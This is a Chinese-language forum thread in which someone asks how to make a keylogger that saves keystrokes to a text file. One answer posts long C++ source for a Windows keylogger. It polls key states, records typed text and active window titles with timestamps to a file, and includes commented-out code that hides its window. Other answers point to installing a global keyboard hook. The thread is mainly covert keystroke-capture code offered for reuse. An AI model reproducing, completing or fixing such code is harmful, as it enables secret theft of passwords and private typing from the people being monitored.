问键盘记录程序

Question

要写一个键盘记录程序，然后保存在文本文档中，在网上直接找了个，但是编译运行后没什么情况发生啊，那个文本文件也是空的。是不是得把dll文件或者exe文件拷到什么地方才能记录？

Answer 1

代码有点长，是用到hook函数的，希望能碰到用过这类函数的人

Answer 2

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;// Lower Case Key & Some Other Keys
char* LowerCase[]={
"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]",
"[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4",
"5","6","7","8","9","0","-","=","[TAB]","q",
"w","e","r","t","y","u","i","o","p","[",
"]","a","s","d","f","g","h","j","k","l",
";","'","z","x","c","v","b","n","m",",",
".","/","\\","[CTRL]","[WIN]"," ","[WIN]","[Print Screen]","[Scroll Lock]","[Insert]",
"[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[UP]","[Right]","[Down]","[Num Lock]",
"/","*","-","+","0","1","2","3","4","5",
"6","7","8","9",".",
};// Upper Case Key & Some Other Keys
char* UpperCase[]={
"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]",
"[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$",
"%","^","&","*","(",")","_","+","[TAB]","Q",
"W","E","R","T","Y","U","I","O","P","{",
"}","A","S","D","F","G","H","J","K","L",
":","\"","Z","X","C","V","B","N","M","<",
">",".?","|","[CTRL]","[WIN]"," ","[WIN]","[Print Screen]","[Scroll Lock]","[Insert]",
"[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]",
"/","*","-","+","0","1","2","3","4","5",
"6","7","8","9",".",
};// Ascii Keys,Forget About It
int SpecialKeys[]={
8,13,27,112,113,114,115,116,117,118,
119,120,121,122,123,192,49,50,51,52,
53,54,55,56,57,48,189,187,9,81,
87,69,82,84,89,85,73,79,80,219,
221,65,83,68,70,71,72,74,75,76,
186,222,90,88,67,86,66,78,77,188,
190,191,220,17,91,32,92,44,145,45,
36,33,46,35,34,37,38,39,40,144,
111,106,109,107,96,97,98,99,100,101,
102,103,104,105,110,
};HWND PreviousFocus=NULL;
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
ofstream out("out.txt", ios::out);// ---------------------------------------------------------------------
int main(){
// HWND hSelf = GetForegroundWindow();   
// ShowWindow(hSelf,SW_HIDE);
// KeyLogger();   
return 0;   
}
//-----------------------------------------------------------------------// Purpose: To Check The Active Windows Title
BOOL IsWindowsFocusChange()
{ //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
HWND hFocus = GetForegroundWindow();   
BOOL ReturnFlag = FALSE;   
if (hFocus != PreviousFocus)   // The Active Windows Has Change
{

PreviousFocus = hFocus;    
int WinLeng = GetWindowTextLength(hFocus);   
char *WindowCaption = new char[WinLeng + 2]; 
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
GetWindowText(hFocus,WindowCaption,(WinLeng + 1));        
if (strlen(WindowCaption) > 0)   // Really Get The Windows's Caption
{
SYSTEMTIME stime;
GetLocalTime( &stime );
out <<endl<<"The Active Windows Title:"<<endl;
out << "(" << stime.wYear << "/" << stime.wMonth << "/" << stime.wDay << " ";
out << stime.wHour << ":" << stime.wMinute << ":" << stime.wSecond << ")" <<WindowCaption<<endl; 

ReturnFlag=TRUE;  
}
delete[] WindowCaption;     
}
return ReturnFlag;   // Return The Flag
}// End Of IsWindowsFocusChange Function// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
BOOL KeyLogger()
{
int bKstate[256] = {0};     // Declare The Key State Array
int i,x;
int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift;   // Variable To Hode State Of Shift Key
char KeyBuffer[600];     // Key Buffer Array
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer while(TRUE)     // Forever Loop Is Taking Place Here
{
Sleep(8);     
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (IsWindowsFocusChange())  
{
if (strlen(KeyBuffer) != 0)   // Keys Are Pressed
{
out<<KeyBuffer<<endl;
memset(KeyBuffer,0,sizeof(KeyBuffer));     // reset The Buffer
}
}
for(i=0;i<95;i++)     // Looping To Check Visual Keys
{
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
shift = GetKeyState(VK_SHIFT);   // Check Whether Shift Is Pressed
x = SpecialKeys[i];   // Match The Key
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (GetAsyncKeyState(x) & 0x8000)   // Check Combination Keys
{
//See Whether CapsLocak Or Shift Is Pressed
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
{
bKstate[x] = 1;     //Uppercase Characters A-Z
} else
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Pressed
{
bKstate[x] = 2;     //Lowercase a-z
} else
if (shift < 0)   // Shift Is Pressed
{
bKstate[x] = 3;     //Uppercase Characters A-Z
}
else
bKstate[x] = 4;     //Lowercase a-z
} else
{
if (bKstate[x] != 0)     // No Combination Keys Detected
{
state = bKstate[x];   // Retrieve The Current State
bKstate[x] = 0;   // Reset The Current State
if (x == 8)     // Back Space Is Detected
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
continue;   // Start A New Loop
} else
if (strlen(KeyBuffer) > 550)   // Buffer FULL
{
out<<KeyBuffer<<"<Buffer Full>";
memset(KeyBuffer,0,sizeof(KeyBuffer));     // Reset The Buffer
continue;   // Start A New Loop
} else
if (x == 13)   // Enter Is Detected
{
if (strlen(KeyBuffer) == 0)   // No Other Keys Retrieved But Enter
{
continue;   // Start A New Loop
}
out<<KeyBuffer<<"<Enter>"<<endl;
memset(KeyBuffer,0,sizeof(KeyBuffer));   // Display The Keys With Enter
continue;   // Start A New Loop
}else
if ((state%2) == 1)   //Must Be Upper Case Characters
{
strcat(KeyBuffer,UpperCase[i]);   // Store The Key To Key Buffer
} else
if ((state%2) == 0)   // Must Be Lower Case Characters
{
strcat(KeyBuffer,LowerCase[i]);   // Store The Key To Key Buffer
}
}
}
}// End Of For Loop
}// End Of While Loop
return TRUE;  
}

Answer 3

这个我做过，就一个全局键盘钩子+按键的SCanCode+VCode就好了。

Answer 4

SetWindowsHookEx(WH_KEYBOARD,HookProc,g_hModule,0);HookProc就是钩子函数, 在里面处理你的记录过程
原型为
LRESULT __stdcall HookProc(int nCode,WPARAM wParam,LPARAM lParam);